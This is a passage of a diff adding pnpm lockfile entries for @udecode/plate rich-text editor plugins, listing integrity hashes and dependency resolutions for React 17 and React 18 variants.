/@udecode/plate-indent@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ETwGdPZuEesGv4DW+s9cmt0+Fo537y7sVtVJJi1juCitPgwnaqLwu+QRLDErFSIBdQebR0/gxX65R/+uH0NwnQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-kbd@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-KVerussGxitZox/6PJpPo/6TT+BGZ6rn3yvndSveAq1tD2HuDxw9nDbBhxiZYQBseZ97aTu4t4naCR/jJl0xwQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-kbd@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-KVerussGxitZox/6PJpPo/6TT+BGZ6rn3yvndSveAq1tD2HuDxw9nDbBhxiZYQBseZ97aTu4t4naCR/jJl0xwQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-line-height@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-JCBEjDZZw8MFulI56md3Noz1vuw6EiCmvLkX7pRcMc7dGocMo4BKOJLao1UGIfDVLkqjVlr8Av1fayQPGNuZGg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-line-height@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-JCBEjDZZw8MFulI56md3Noz1vuw6EiCmvLkX7pRcMc7dGocMo4BKOJLao1UGIfDVLkqjVlr8Av1fayQPGNuZGg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-link@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-UT2rW0HBNOYvS0iLxFC5dU7wiMAQ+L8Cgl1mIlxi+a/58B+K3ED1zwnO7MAotpKOy/GSA58+YYBQ3liSTolgRw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-button': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-normalizers': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-link@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-UT2rW0HBNOYvS0iLxFC5dU7wiMAQ+L8Cgl1mIlxi+a/58B+K3ED1zwnO7MAotpKOy/GSA58+YYBQ3liSTolgRw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-button': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-normalizers': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-list@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-PkmlSmy1/W4FMcw5pzJakb6d3MbfqCT4xCOHgjXkv4glqaRFKAwMJPhvswwveEencfQe+c5J5HFE7t2q4dWwIg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-reset-node': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-list@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-PkmlSmy1/W4FMcw5pzJakb6d3MbfqCT4xCOHgjXkv4glqaRFKAwMJPhvswwveEencfQe+c5J5HFE7t2q4dWwIg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-reset-node': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-media@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-7FY+vo0USGTZvUYKEtemfupHPjeUkK4zQZRODZCiP46t0mK1cImsSsP8OUZ2HjXKkyAMVla1ThH1+QOXb8I0cA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/resizable': 20.5.3(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + js-video-url-parser: 0.5.1 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-textarea-autosize: 8.5.2(@types/react@18.2.7)(react@17.0.2) + scriptjs: 2.5.9 + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-media@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-7FY+vo0USGTZvUYKEtemfupHPjeUkK4zQZRODZCiP46t0mK1cImsSsP8OUZ2HjXKkyAMVla1ThH1+QOXb8I0cA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/resizable': 20.5.3(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + js-video-url-parser: 0.5.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + react-textarea-autosize: 8.5.2(@types/react@18.2.7)(react@18.2.0) + scriptjs: 2.5.9 + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-mention@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-34iR9qk1uz0jPeWpE4mC+e/2sij0knM+nnOlcmWiEpQQP3ahaPFQups7+5Kpa23AXecpdHeRGqR1vUnWbAYnyQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-combobox': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-mention@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-34iR9qk1uz0jPeWpE4mC+e/2sij0knM+nnOlcmWiEpQQP3ahaPFQups7+5Kpa23AXecpdHeRGqR1vUnWbAYnyQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-combobox': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-node-id@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-emPHy5KXj8R3YMsuXsZ4hhlWpPLAoVmymiUA5uEihAMoiXDTAEkVpvcw79zqLmvOn50rYwCItqv+Y19YaL29nA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-node-id@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-emPHy5KXj8R3YMsuXsZ4hhlWpPLAoVmymiUA5uEihAMoiXDTAEkVpvcw79zqLmvOn50rYwCItqv+Y19YaL29nA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-normalizers@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-X6dtZvT14vGxxm9WzuoeTN8RlU5plHIagWlFdVCV2EQM1mNlo5LEnNSsSIaS9Z+VBvKagmIn8JUaaMeFB/Yixg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-normalizers@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-X6dtZvT14vGxxm9WzuoeTN8RlU5plHIagWlFdVCV2EQM1mNlo5LEnNSsSIaS9Z+VBvKagmIn8JUaaMeFB/Yixg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-paragraph@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ujQwFQ3rQRl2JaHYHSxxS5mf0NuGXu4WtfGdYD2ITCnIKP+cy6vycg7iIfcPL+w7iYFz5F9wpyIZzR9upISRBg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-paragraph@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ujQwFQ3rQRl2JaHYHSxxS5mf0NuGXu4WtfGdYD2ITCnIKP+cy6vycg7iIfcPL+w7iYFz5F9wpyIZzR9upISRBg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-reset-node@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-rPCE7TzA3/GyNcOWUUuFRlbNrtm7Af4wIkrGTuoY6/T/Ypp8KeRc5HlOwzuQL+QRGMp3kyJQL3A/KDuPF1uq7A==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-reset-node@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-rPCE7TzA3/GyNcOWUUuFRlbNrtm7Af4wIkrGTuoY6/T/Ypp8KeRc5HlOwzuQL+QRGMp3kyJQL3A/KDuPF1uq7A==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-select@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: 